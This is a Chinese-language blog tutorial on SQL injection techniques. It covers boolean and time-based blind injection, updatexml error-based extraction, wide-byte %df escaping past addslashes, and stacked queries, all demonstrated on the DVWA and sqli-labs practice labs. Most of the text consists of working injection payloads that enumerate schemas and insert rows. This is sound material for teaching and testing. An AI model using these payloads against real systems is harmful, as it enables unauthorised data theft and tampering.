【SQL注入——盲注和手工注入】

本文详细介绍了SQL注入中的盲注和手工注入技术。对于盲注,包括了布尔盲注和时间盲注,通过页面响应来判断是否存在注入点。在手工注入部分,讨论了报错注入、宽字节注入和堆叠注入,提供了具体的示例来展示如何利用这些技术获取数据库信息。

目录

一、盲注:

1、布尔盲注

2、时间盲注

二、手工注入

1、报错注入   

2、宽字节注入

3、堆叠注入


一、盲注:


1、布尔盲注

页面没有显示位,没有输出SQL语句执行错误信息,只能通过页面返回正常不正常来判断是否存在注入

1' and 1=1-- - 1' and真,结果为真,页面显示如下;

1' and 1=2-- - 1' and 假,结果为假,页面显示如下;

 

 根据显示的结果,当错误的结果输入时,页面有回应,且报错,说明存在注入
通过盲注猜测,来得到我们想要的数据

如,数据库名的长度
1' and length(database())>9-- -,显示错误信息,说明数据库名长度不足9

1' and length(database())>3-- - 页面回应是正确的状态,说明数据库长度大于3

 根据多次尝试,得知数据库的长度为4。那么猜测数据库的名字,可通过ASCII数值函数和substr函数(幸好长度只有4个);

ps:ASCII数值表

SUBSTR (str, pos, len)

  • str为列名/字符串;
  • pos为起始位置;mysql中的起始位置pos是从1开始的;如果为正数,就表示从正数的位置往下截取字符串(起始坐标从1开始),反之如果起始位置pos为负数,那么 表示就从倒数第几个开始截取;
  • len为截取字符个数/长度。

1' and ascii(substr(database(),1,1))>99 -- -获取第一个字母的ASCII码值大于99,为真,显示如下

1' and ascii(substr(database(),1,1))>100 -- -获取第一个字母的ASCII码值大于100,为假,显示如下

得知数据库名的第一个字母的ASCII值为100,即为d。通过这种盲注不断尝试,可以得知此数据库的名字,但这种方法耗时耗力,太麻烦。

2、时间盲注

有些数据库对错误信息做了安全配置,是的无法通过以上方式(即页面返回的真假)探测注入点。
此时,可以通过设置sleep语句(延迟多长时间,判断后台执行的时间)来探测注入点。

如:1' and sleep(5)-- -输入命令后,页面出现卡顿,从开发者工具中可以看出,反应时间超过5s,说明sleep(5)是执行成功了的,存在时间注入点。

也可以结合布尔盲注,来进行测试。

1' and if (ascii(substr(database(),1,1))>100,null,sleep(5))-- -如果数据库名第一个字母的ASCII值大于100,则不会延迟,如果不大于100,则延迟5s;

通过上述布尔测试我们知道,数据库名第一个字母的ASCII值不大于100,所以页面延迟了5s。

 

二、手工注入

1、报错注入   

当页面没有正确的返回错误信息时,就可以利用数据库中的个别函数来进行报错

利用函数:

updatexml(目标xml内容,xml文档路径,更新的内容),更新XML文档的函数。

在XML文档路径的位置里面写入了子查询,我们输入特殊字符,然后就因为不符合输入规则然后报错了,但是报错的时候其实已经执行了那个子查询代码

extractvalue(目标xml文档,xml路径),对XML文档进行查询的函数。

xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

1' union select updatexml(1,concat(0x5e,(select version()),0x5e),1) -- -通过报错显示的信息,数据版本

1' union select updatexml(1,concat(0x5e,(select database()),0x5e),1) -- -

通过报错信息,得出数据库名为dvwa 

 1' and updatexml(1,concat(0x5e,(select group_concat(table_name) from information_schema.tables where TABLE_SCHEMA='dvwa' ),0x5e),1)-- -暴dvwa库下面的所有表名

 1' and updatexml(1,concat(0x5e,(select group_concat(column_name) from information_schema.columns where TABLE_SCHEMA='dvwa' and TABLE_NAME='users' ),0x5e),1) -- - 暴出dvwa库下users表的所有列名 

2、宽字节注入

sql注入中最关键的一步就是将引号进行闭合,而常见的addslashes()函数、mysql_escape_string函数、get_magic_quotes_gpc()函数、mysql_real_escape_string()函数的使用将引号进行了转义,这时我们要绕过这些函数进行注入,宽字节注入就是其中一种方法。

宽字节注入的原理:在数据库设置mysql_set_charset(“gbk”)即使用GBK编码时,输入字符的ASCII码大于128(到达汉字的范围)会将这个字符以及后面的一个字符当作一个汉字去识别。在转义 ' 时,通常是将其转换为\',url编码后为%5c%27,我们如果要绕过,就得把\过滤掉。常用的方法就是在%5c%27之前加%df,由于%df的ASCII码为223,数据库会将%df%5c当成一个汉字“連”,%27成功逃逸。(其中%df可以换成ASCII码大于128的字符)。

sqlilabs中less32-37都可以使用宽字节注入进行绕过

id=1 ,正常输出结果

 id=1',用\试探时,正常输出结果,但是数据反馈时,后面却多了个\,此时可猜测是否使用了addslashes()函数,对符号进行了转义; 

 id=1%df’-- -  判断是否可以进行宽字节注入,从上述原理得知,可添加%df试探。当页面显示出现�时,说明我们已经绕过了\,成功逃逸,此处可以进行宽字节注入。

 

 id=3%df' order by 3-- -   id=3%df' order by 4-- -通过order by 的两次尝试,可以进一步验证宽字节注入的存在。

 

3、堆叠注入

顾名思义,就是将语句堆叠在一起进行查询
原理很简单,mysql_multi_query() 支持多条sql语句同时执行,就是个;分隔,成堆的执行sql语句

以sqlilabs中less38为例

id=1 order by 4-- - 已知存在注入点,判断是否可以进行堆叠注入;

 id=14   id=15得知,表格id最大为14

 

 通过联合函数查询,得知库名、表明、列名

id=-1' union select 1,2,database()-- -     库名 security

id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'-- -     security下的四个表名

 id=-7' union select 1,2,group_concat(column_name) from information_schema.columns where columns.table_schema='security' and columns.table_name='users'-- -  users表的三个列名

 


id=1';insert into users(id,username,password) values ('15','abc','qwe')-- -增加id=15,username=abc,password=qwe的数据。

 id=15来验证可以看出,内容已经增加成功。

 ​​​​​​​​​​​​​​​​​​​​​

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值